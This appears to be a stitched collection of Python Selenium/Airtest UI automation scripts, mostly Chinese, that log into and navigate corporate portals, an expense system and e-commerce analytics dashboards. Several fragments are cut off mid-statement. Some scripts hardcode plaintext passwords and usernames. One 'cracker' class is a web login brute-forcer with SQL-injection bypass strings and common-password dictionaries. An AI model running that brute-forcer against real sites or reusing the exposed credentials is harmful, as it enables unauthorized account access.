def job1(useid, password): #通过python自带的模块判断是不是节假日 nowTime = datetime.date(datetime.datetime.now().year, datetime.datetime.now().month, datetime.datetime.now().day) print(is_workday(nowTime)) if is_workday(nowTime): print('Its weekday') driver = WebChrome() driver.implicitly_wait(20) driver.get( "http://sso.portal.unicom.local/eip_sso/aiportalLogin.html?appid=na186&success=http://service.aiportal.unicom.local/ssoclient/ssologin&error=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html&return=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html" ) driver.find_element_by_id('login').send_keys(useid) driver.find_element_by_id('password').send_keys(password) driver.find_element_by_xpath("//button[@class='login_botton']").click() driver.find_element_by_xpath( "//div[@class='pan' and @label='人力资源2.0']").click() driver.switch_to_new_tab() driver.find_element_by_xpath( "//a[@class = 'gn_block gn_block1']").click() driver.switch_to_new_tab() driver.find_element_by_xpath( "//button[@class='ant-btn sign-btn signout ant-btn-primary']" ).click() driver.quit() else: print('Its holiday')
# -*- encoding=utf8 -*- __author__ = "Administrator" from airtest.core.api import * auto_setup(__file__) from selenium import webdriver from selenium.webdriver.common.keys import Keys from airtest_selenium.proxy import WebChrome driver = WebChrome() driver.implicitly_wait(20) driver.get("https://crmhybridapp.autohome.com.cn/webapp/firstPage/chargeIndex") driver.set_window_size(500, 950) driver.find_element_by_xpath("//input[@placeholder='请输入OA账号']").click() driver.find_element_by_xpath("//input[@placeholder='请输入OA账号']").send_keys( "wangjian1102") driver.find_element_by_xpath("//input[@placeholder='请输入OA密码']").click() driver.find_element_by_xpath("//input[@placeholder='请输入OA密码']").send_keys( "Auto5678") driver.find_element_by_xpath("//*[@id=\"app\"]/div/div[2]/a/div").click() driver.airtest_touch( Template(r"tpl1575735320020.png", record_pos=(16.77, 8.99), resolution=(100, 100))) driver.assert_template( Template(r"tpl1575735408604.png", record_pos=(13.075, 1.8), resolution=(100, 100)), "汪剑登录成")
log('购买成功') pass stop_app(app_id) sleep(3) clear_app(app_id) ################################################################ from airtest.core.api import * from airtest_selenium.proxy import WebChrome game_id = '600144' driver = WebChrome() driver.implicitly_wait(20) sleep(3) driver.maximize_window() driver.get("http://tech-support.upltv.com:82/index") driver.find_element_by_xpath("//a[@href='/auth/login']").click() driver.find_element_by_xpath("//input[@autocomplete='on']").send_keys('*****@*****.**') driver.find_element_by_xpath("//input[@autocomplete='off']").send_keys('Temp2019') driver.find_element_by_xpath("//input[@value='登录']").click() sleep(5) Logging('准备数据上报------------------------------------------') driver.find_element_by_xpath("//*[@id=\"bs-example-navbar-collapse-1\"]/ul/li/a/span").click() driver.find_element_by_xpath("//a[@href='/report/analysis']").click() driver.find_element_by_xpath("//input[@type='text']").send_keys(game_id) sleep(3) driver.find_element_by_xpath("//*[@id=\"contentlist\"]/li/span").click() sleep(10) Logging("获取数据") driver.find_element_by_name("getdata").click()
from common import common from selenium import webdriver from selenium.webdriver.common.keys import Keys from airtest_selenium.proxy import WebChrome driver = WebChrome() driver.implicitly_wait(20) driver.get("http://14.21.59.70:1000/") driver.maximize_window() #放大浏览器 # 登录夏子霞支付借款单 common.login(driver, "xiazixia") common.pay_loan(driver) common.quit(driver) # 登录huangzhenxu账号,提交还款申请单 common.login(driver, "huangzhenxu") driver.find_element_by_xpath( "//*[@id=\"app\"]/div/div/div[2]/div/div/ul/div[3]/li/ul/div[3]/a/li/span" ).click() driver.assert_template( Template(r"tpl1595316700201.png", record_pos=(11.41, 1.0), resolution=(100, 100)), "进入还款申请单") driver.airtest_touch( Template(r"tpl1595316722041.png", record_pos=(11.645, 1.825), resolution=(100, 100))) driver.assert_template( Template(r"tpl1595316735573.png", record_pos=(10.88, 1.59), resolution=(100, 100)), "进入新增页面") driver.airtest_touch(
from selenium import webdriver from selenium.webdriver.common.keys import Keys from airtest_selenium.proxy import WebChrome driver = WebChrome() driver.implicitly_wait(10) driver.maximize_window() driver.get("https://www.yigongla.com/") driver.find_element_by_xpath("//a[@href='/index/index/index']").click() driver.find_element_by_xpath("//a[@href='/index/qyserve/qyserve']").click() driver.assert_exist("/html/body/div[3]/div/h3", "xpath", "我的价值") driver.find_element_by_xpath("//a[@href='/index/inquiry/inquiry']").click() driver.find_element_by_xpath("//a[@href='/index/about/about']").click() driver.find_element_by_xpath("/html/body/div/div[2]/a/button").click() driver.assert_exist("/html/body/div/div/div/div/div/div", "xpath", "密码登录") driver.assert_exist("/html/body/div/div/div/div/div/div[2]", "xpath", "验证码登录") driver.assert_exist("/html/body/div/div/div/div[3]/p", "xpath", "还没有易工账号") driver.assert_exist("/html/body/div/div/div/div[3]/div/a/span", "xpath", "立即注册") driver.assert_exist("passwordLogin", "id", "登录") driver.assert_exist("/html/body/div[2]/p", "xpath", "从蓝领招聘开始解决缺工现象.") driver.quit()
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) #打开网址 driver.get("http://47.111.14.225:30017/monitorPage/selfMonitor/shop") sleep(1) #打开竞品监控 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div/div/div/div/div/div/dl/dd[2]/a").click() sleep(1) #查看品牌详情 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/div[3]/table/tbody/tr/td[9]/div/a" ).click() sleep(1) #时间选择 driver.find_element_by_xpath("//input[@placeholder='选择周']").click() sleep(1) #选择某一周 driver.find_element_by_xpath( "/html/body/div[3]/div/div/div[2]/table/tbody/tr[3]/td[3]/div").click() sleep(1) #导出 #driver.find_element_by_xpath("/html/body/div[2]/div[2]/div[2]/div/div[3]/div/div[2]/div/button").click()
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) #打开网址 driver.get("http://47.111.14.225:30017/monitorPage/selfMonitor/shop") sleep(2) #打开医务泄露列表 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div/div/div/div/div/div/dl[2]/dd[3]/a").click() sleep(2) #宝贝搜索 driver.find_element_by_xpath("//input[@placeholder='请输入宝贝名称搜索']").send_keys( "超启能恩") sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div/div/div/button").click() sleep(1)
#上传、搜索、查看、删除发票 from airtest.core.api import * from airtest.core.api import using using(r"E:\黄振旭\费用管理系统自动化测试用例\conf\common.air") from common import common from selenium import webdriver from selenium.webdriver.common.keys import Keys from airtest_selenium.proxy import WebChrome driver = WebChrome() driver.maximize_window() #放大浏览器 driver.get("http://14.21.59.70:1000/#/mrp/base/warehouseList") common.login(driver, "huangzhenxu") driver.find_element_by_xpath( "//*[@id=\"app\"]/div/div/div[2]/div/div/ul/div/li/ul/div/a/li/span" ).click() #进入【上传发票】页面 driver.assert_template( Template(r"tpl1594800342361.png", record_pos=(7.415, 2.15), resolution=(100, 100)), "成功打开发票管理页面") driver.airtest_touch( Template(r"tpl1594800381828.png", record_pos=(7.82, 2.985), resolution=(100, 100))) driver.assert_template( Template(r"tpl1594800422516.png", record_pos=(13.66, 4.545), resolution=(100, 100)), "打开识别发票接界面") driver.airtest_touch( Template(r"tpl1594800605536.png",
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li/ul/li/ul/li[5]").click() sleep(1) #关键词排行 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div[3]/div/div/a[5]").click() sleep(1) #总销量排行 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div[3]/div[2]/div/div[1]/div[2]/div[1]/span" ).click() sleep(1) driver.find_element_by_xpath("/html/body/ul/li[2]").click() sleep(1) #流量排行 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div[3]/div[2]/div/div[1]/div[2]/div[1]/span" ).click() sleep(1) driver.find_element_by_xpath("/html/body/ul/li[1]").click() sleep(1)
class cracker(): def __init__(self, target_url): self.driver = WebChrome() self.driver.get(target_url) self.driver.implicitly_wait(20) self.exp_user_dic = [ "admin' or 'a'='a", "'or'='or'", "admin' or '1'='1' or 1=1", "')or('a'='a", "'or 1=1 -- -" ] self.exp_pass_dic = self.exp_user_dic self.static_user_dic = [ 'admin', 'system', 'sa', 'test', 'manager', 'root', 'user', 'www', 'web', 'username', 'guest', 'name', 'zhanghao', 'yonghu', 'email', 'account' ] self.suffix_dic = ['', '123', '888', '666', '123456'] self.static_pass_dic = [ '{user}', '123456', '{user}888', '12345678', '123123', '88888888', '888888', 'password', '123456a', '{user}123', '{user}123456', '{user}666', '{user}2018', '123456789', '654321', '666666', '66666666', '1234567890', '8888888', '987654321', '0123456789', '12345', '1234567', '000000', '111111', '5201314', '123123', 'pass', 'password', 'P@ssw0rd', 'P@ssw0rd2019', 'P@ssw0rd2020', 'P@ssw0rd2021' ] self.password_inputbox_id = '' self.username_inputbox_id = '' def find_element_ids(self): page_source = self.driver.page_source username_flags = ["user", "account", "用户名", "邮箱", "手机", "证号"] rex_ele_id = re.compile(r'id="(\S*?)"') rex_username_ele = re.compile(r'(<input .*type="text".*?>)') rex_password_ele = re.compile(r'(<input .*type="password".*?>)') possible_username_eles = rex_username_ele.findall(page_source) username_ele = '' for possible_username_ele in possible_username_eles: if username_ele: break for username_flag in username_flags: if username_flag in possible_username_ele: username_ele = possible_username_ele break if not username_ele: self.username_inputbox_id = '' else: self.username_inputbox_id = rex_ele_id.findall(username_ele)[0] print("Uername Input Box ID:\t{}".format( self.username_inputbox_id)) password_eles = rex_password_ele.findall(page_source) password_ele = password_eles[0] if password_eles else '' if not password_ele: self.password_input_id = '' else: self.password_inputbox_id = rex_ele_id.findall(password_ele)[0] print("Password Input Box ID:\t{}".format( self.password_inputbox_id)) return True def brute_force(self, username, password): password = password.replace( '{user}', username) if '{user}' in password else password print('Trying {0}:{1}'.format(username, password)) username_ele = self.driver.find_element_by_id( self.username_inputbox_id ) if self.username_inputbox_id else self.driver.find_element_by_xpath( "//input[@type='text']") password_ele = self.driver.find_element_by_id( self.password_inputbox_id ) if self.password_inputbox_id else self.driver.find_element_by_xpath( "//input[@type='password']") username_ele.clear() username_ele.send_keys(username) password_ele.send_keys(password) password_ele.send_keys(Keys.RETURN) sleep(2) if self.password_inputbox_id in self.driver.page_source and self.username_inputbox_id in self.driver.page_source: print('Login Failed') return False else: print('Login Succeed') return True def loop(self, users, passwords): for user in users: for password in passwords: try: ret = self.brute_force(user, password) if ret: return True except Exception as e: print(e) self.driver.refresh() sleep(1) return False def run(self, userfile='', passfile=''): self.find_element_ids() if userfile and passfile: users = open(userfile).read().strip('\n').split('\n') passwords = open(passfile).read().strip('\n').split('\n') if self.loop(users, passwords): print("爆破成功") input() else: print("Loading inject users/passwords") users = self.exp_user_dic passwords = self.exp_pass_dic if self.loop(users, passwords): print("爆破成功") input() print("Loding default account pairs") users = [] for suffix in self.suffix_dic: for user in self.static_user_dic: users.append(user + suffix) passwords = self.static_pass_dic if self.loop(users, passwords): print("爆破成功") input()
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) #打开品牌列表 driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[3]/div/span").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[3]/ul/li/ul/li/span" ).click() sleep(4) driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div/div[2]/div/div/div[3]/table/tbody/tr[13]/td[2]/div/a" ).click() sleep(2) #打开社媒受众分析 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[3]/div/div/a[5]").click() sleep(5)
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) #打开品牌列表 driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[3]/div/span").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[3]/ul/li/ul/li/span" ).click() sleep(4) driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div/div[2]/div/div/div[3]/table/tbody/tr[13]/td[2]/div/a" ).click() sleep(2) #打开社媒流量分析 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[3]/div/div/a[4]").click() sleep(5) #选择时间 driver.find_element_by_xpath("//input[@placeholder='选择日期']").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[3]/div/div/div[2]/table/tbody/tr[2]/td[5]/div/span").click(
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options =webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress","127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) #打开网址 driver.get("http://47.111.14.225:30017/monitorPage/selfMonitor/shop") sleep(1) #打开医务泄露页面 driver.find_element_by_xpath("/html/body/div[2]/div[2]/div/div/div/div/div/div/dl/dd[3]/a").click() sleep(1) #打开竞品监控页面 driver.find_element_by_xpath("/html/body/div[2]/div[2]/div/div/div/div/div/div/dl/dd[2]/a").click() sleep(1) #打开本品监控页面 driver.find_element_by_xpath("/html/body/div[2]/div[2]/div/div/div/div/div/div/dl/dd/a").click() sleep(1) #打开本品列表 driver.find_element_by_xpath("/html/body/div[2]/div[2]/div/div/div/div/div/div/dl[2]/dd/a").click() sleep(1) #打开竞品列表 driver.find_element_by_xpath("/html/body/div[2]/div[2]/div/div/div/div/div/div/dl[2]/dd[2]/a").click() sleep(1)
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) #打开宝贝列表 driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[5]/div/span").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[5]/ul/li/ul/li/span" ).click() sleep(5) #社媒达人排行 driver.find_element_by_xpath( "//a[@title='完美日记动物眼影盘锦鲤小狗小猫猫咪老虎斑虎小猪熊猫小鹿盘女']").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[3]/div/div/a[6]").click() sleep(1) #总销量排行 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[3]/div[2]/div/div[1]/div[2]/div[1]/span" ).click() sleep(1) driver.find_element_by_xpath("/html/body/ul/li[2]").click()
using(r"E:\黄振旭\费用管理系统自动化测试用例\conf\common.air") from common import common from selenium import webdriver from selenium.webdriver.common.keys import Keys from airtest_selenium.proxy import WebChrome driver = WebChrome() driver.implicitly_wait(20) driver.get("http://14.21.59.70:1000/") driver.maximize_window() #放大浏览器 # 登录黄振旭,提交招待申请单 common.login(driver, "huangzhenxu") driver.assert_exist("//*[@id=\"tags-view-container\"]/div/div/div/span", "xpath", "验证是否登录进入主页.") driver.find_element_by_xpath( "//*[@id=\"app\"]/div/div/div[2]/div/div/ul/div[2]/li/ul/div[2]/a/li/span" ).click() driver.assert_template( Template(r"tpl1594866810340.png", record_pos=(8.64, 1.08), resolution=(100, 100)), "打开【招待申请单】") driver.airtest_touch( Template(r"tpl1594866859370.png", record_pos=(8.87, 1.925), resolution=(100, 100))) driver.assert_template( Template(r"tpl1594867550086.png", record_pos=(9.55, 2.37), resolution=(100, 100)), "进入新增页面") driver.airtest_touch( Template(r"tpl1594867580071.png",
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) #打开网址 driver.get("http://47.111.14.225:30017/monitorPage/selfMonitor/shop") sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div/div/div/div/div/div/dl/dd[2]/a").click() sleep(1) #查看品牌详情 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/div[3]/table/tbody/tr/td[9]/div/a" ).click() sleep(1) #查看店铺详情 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[3]/div[2]/div/div/div[3]/table/tbody/tr/td[8]/div/a" ).click() sleep(1) #时间选择 driver.find_element_by_xpath("//input[@placeholder='选择周']").click() sleep(1) #选择某一周 driver.find_element_by_xpath( "/html/body/div[3]/div/div/div[2]/table/tbody/tr[3]/td[3]/div").click() sleep(1)
# -*- encoding=utf8 -*- from airtest.core.api import * __author__ = "zxfn4514" from selenium import webdriver from selenium.webdriver.common.keys import Keys from airtest_selenium.proxy import WebChrome driver = WebChrome() driver.implicitly_wait(20) driver.get("https://github.com/AirtestProject") driver.find_element_by_xpath( "//*[@id=\"js-pjax-container\"]/div/header/div/nav/a[2]").click() driver.find_element_by_xpath("//a[@data-hotkey='g b']").click() driver.airtest_touch( Template(r"tpl1534930299434.png", record_pos=(12.015, 2.275), resolution=(100, 100))) driver.assert_template( Template(r"tpl1534930307633.png", record_pos=(8.61, 2.925), resolution=(100, 100)), "Please fill in the test point.")
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) #抖音短视频 driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li/ul/li/ul/li[4]/ul/li/ul/li/span" ).click() sleep(3) #选择时间 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div/div[2]/div[2]/div/div/div/div/div/div[2]/input" ).click() sleep(1) driver.find_element_by_xpath( "/html/body/div[3]/div/div/div[2]/table/tbody/tr[2]/td/div/span").click() driver.find_element_by_xpath( "/html/body/div[3]/div/div/div[2]/table/tbody/tr[2]/td[4]/div/span").click( ) sleep(3) #平均值 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div/div[2]/div[2]/div/div[1]/div[2]/div[1]/label/span[1]/span" ).click() sleep(3)
import unittest from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) # 打开宝贝列表 driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[5]/div/span").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[5]/ul/li/ul/li/span" ).click() sleep(5) # 宝贝趋势分析 driver.find_element_by_xpath( "//a[@title='完美日记动物眼影盘锦鲤小狗小猫猫咪老虎斑虎小猪熊猫小鹿盘女']").click() sleep(1) # 按月 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[3]/div[2]/div/div[1]/div/div[1]/div[1]/div[3]/div[1]/span" ).click() sleep(1)
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) #关注列表 driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[4]/div").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[4]/ul/li/ul/li/span" ).click() sleep(5) driver.find_element_by_xpath("//a[@title='perfectdiary旗舰店']").click() sleep(2) #价格分析 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[3]/div/div/a[2]").click() #选择日期 driver.find_element_by_xpath("//input[@placeholder='选择日期']").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[3]/div/div/div[2]/table/tbody/tr[2]/td[5]/div/span").click( ) sleep(1)
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) #打开网址 driver.get("http://47.111.14.225:30017/monitorPage/selfMonitor/shop") sleep(1) #打开竞品列表 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div/div/div/div/div/div/dl[2]/dd[2]/a").click() sleep(1) #平台筛选 #选择淘宝 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div/div/div/input").click() sleep(1) driver.find_element_by_xpath("/html/body/div[3]/div/div/ul/li[2]").click() sleep(1) #选择天猫 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div/div/div/input").click() sleep(1) driver.find_element_by_xpath("/html/body/div[3]/div/div/ul/li[3]").click() sleep(1) #选择京东 driver.find_element_by_xpath(
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options =webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress","127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) #打开品牌列表 driver.find_element_by_xpath("/html/body/div[2]/div/div/div/div/div/ul/div/li[3]/div/span").click() sleep(1) driver.find_element_by_xpath("/html/body/div[2]/div/div/div/div/div/ul/div/li[3]/ul/li/ul/li/span").click() sleep(4) driver.find_element_by_xpath("/html/body/div[2]/div[2]/div[2]/div/div/div/div[2]/div/div/div[3]/table/tbody/tr[13]/td[2]/div/a").click() sleep(2) #打开关联分析 driver.find_element_by_xpath("/html/body/div[2]/div[2]/div[2]/div/div[3]/div/div/a[3]").click() sleep(2) #店铺列表 #飙升排行 driver.find_element_by_xpath("/html/body/div[2]/div[2]/div[2]/div/div[3]/div[2]/div/div/div[2]/div/div/div[1]/div[1]/span").click() sleep(1) driver.find_element_by_xpath("/html/body/ul/li[2]").click() sleep(1) #周时间选择 driver.find_element_by_xpath("//input[@placeholder='选择周']").click() sleep(1) driver.find_element_by_xpath("/html/body/div[3]/div/div/div[2]/table/tbody/tr[2]/td[5]/div/span").click() sleep(1)
from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) #打开属性交叉分析 driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[2]/div").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[2]/ul/li/ul/li[3]/span" ).click() sleep(1) #选择类目 driver.find_element_by_xpath("//a[@style='width: 232.021px;']").click() sleep(1) driver.find_element_by_xpath("//a[@title='彩妆/香水/美妆工具']").click() sleep(3) driver.find_element_by_xpath("//a[@title='唇膏/口红']").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[2]/h4").click() #选择属性 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[2]/div/div/div[2]/div/div[2]/div[2]/div/a" ).click()
common.upload_invoice(driver) # 上传一张发票 driver.airtest_touch(Template(r"tpl1597398632931.png", record_pos=(0.36, 7.65), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595237905970.png", record_pos=(9.16, 1.595), resolution=(100, 100)), "打开差旅报销申请单") driver.airtest_touch(Template(r"tpl1595238021979.png", record_pos=(9.275, 2.43), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595238038956.png", record_pos=(8.545, 2.035), resolution=(100, 100)), "进入新增页面") driver.airtest_touch(Template(r"tpl1595238520371.png", target_pos=4, record_pos=(7.775, 4.005), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595238613863.png", record_pos=(3.855, 4.43), resolution=(100, 100)), "进入选择出差申请单界面") driver.airtest_touch(Template(r"tpl1595238654302.png", record_pos=(14.395, 5.615), resolution=(100, 100))) driver.find_element_by_id("erp_txtMEMO").send_keys("租金") driver.airtest_touch(Template(r"tpl1595238805466.png", record_pos=(2.18, 2.125), resolution=(100, 100))) driver.assert_template(Template(r"tpl1595238835098.png", record_pos=(13.135, 1.555), resolution=(100, 100)), "提示保存成功") driver.assert_template(Template(r"tpl1595469277807.png", record_pos=(13.305, 2.33), resolution=(100, 100)), "保存成功") time.sleep(1) driver.execute_script('window.scrollTo(0,document.body.scrollHeight)') #滑到底部 driver.find_element_by_xpath("//*[@id=\"pane-first\"]/form/div[4]/div/div/div/div/input").send_keys("审批意见") driver.airtest_touch(Template(r"tpl1595490704194.png", record_pos=(1.755, 9.28), resolution=(100, 100))) driver.assert_template(Template(r"tpl1597398883604.png", record_pos=(4.07, 2.675), resolution=(100, 100)), "提交成功,进入直属领导审批") common.quit(driver) # 登录何英 common.login(driver,"heying") driver.find_element_by_xpath("//*[@id=\"dashboard\"]/form/div/div/div/div[2]/div/div[4]/div[2]/table/tbody/tr/td[2]/div/span").click() driver.assert_template(Template(r"tpl1595469628616.png", record_pos=(9.655, 1.54), resolution=(100, 100)), "进入审批界面") sleep(1) driver.execute_script('window.scrollTo(0,document.body.scrollHeight)') #滑到底部 driver.find_element_by_xpath("//*[@id=\"pane-first\"]/form/div[4]/div/div/div/div/input").send_keys("审批意见") driver.airtest_touch(Template(r"tpl1595490704194.png", record_pos=(1.755, 9.28), resolution=(100, 100))) driver.assert_template(Template(r"tpl1597399235536.png", record_pos=(4.16, 2.695), resolution=(100, 100)), "提交成功,进入部门负责审批") common.quit(driver) # 登录谭义
import unittest from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) # 打开宝贝列表 driver.find_element_by_xpath("/html/body/div[2]/div/div/div/div/div/ul/div/li[5]/div/span").click() sleep(1) driver.find_element_by_xpath("/html/body/div[2]/div/div/div/div/div/ul/div/li[5]/ul/li/ul/li/span").click() sleep(5) # 打开近7天近30天销售额销量 driver.find_element_by_xpath("/html/body/div[2]/div[2]/div[2]/div/div/div/div/div[2]/div/div/label/span/span").click() driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div/div/div[2]/div/div/label[2]/span/span").click() driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div/div/div[2]/div/div/label[3]/span/span").click() driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div/div/div/div[2]/div/div/label[4]/span/span").click() sleep(1) class Assert_test(unittest.TestCase): # 获取宝贝列表数据 listdaymoney = driver.find_element_by_xpath(
driver.maximize_window() #放大浏览器 print("登录黄振旭账号") common.login(driver, "huangzhenxu") common.create_loan(driver) print("登录夏子霞") common.login(driver, "xiazixia") common.pay_loan(driver) sleep(2) common.quit(driver) print("登录何英账号") common.login(driver, "huangzhenxu") print("上传一张发票") common.upload_invoice(driver) driver.find_element_by_xpath( "//*[@id=\"app\"]/div/div/div[2]/div/div/ul/div[4]/li/ul/div/a/li/span" ).click() driver.assert_template( Template(r"tpl1595484957475.png", record_pos=(11.275, 0.975), resolution=(100, 100)), "进入费用报销申请单界面") driver.airtest_touch( Template(r"tpl1595484997538.png", record_pos=(10.46, 1.81), resolution=(100, 100))) driver.assert_template( Template(r"tpl1595485017525.png", record_pos=(9.765, 1.565), resolution=(100, 100)), "进入新增费用报销界面") driver.find_element_by_id("erp_txtMEMO").send_keys("报销租金") driver.airtest_touch(
# -*- encoding=utf8 -*- __author__ = "janson" from airtest.core.api import * # 查看借还款界面 from airtest.core.api import * using(r"E:\黄振旭\费用管理系统自动化测试用例\conf\common.air") from common import common from selenium import webdriver from selenium.webdriver.common.keys import Keys from airtest_selenium.proxy import WebChrome driver = WebChrome() driver.implicitly_wait(20) driver.get("http://14.21.59.70:1000") driver.maximize_window() #放大浏览器 common.login(driver, "huangzhenxu") driver.assert_exist("//*[@id=\"tags-view-container\"]/div/div/div/span", "xpath", "验证是否登录进入主页.") driver.find_element_by_xpath( "//*[@id=\"app\"]/div/div/div[2]/div/div/ul/div[3]/li/ul/div/a/li/span" ).click() driver.assert_template( Template(r"tpl1594869543864.png", record_pos=(10.415, 1.0), resolution=(100, 100)), "进入借还款追踪管理") driver.close() auto_setup(__file__)
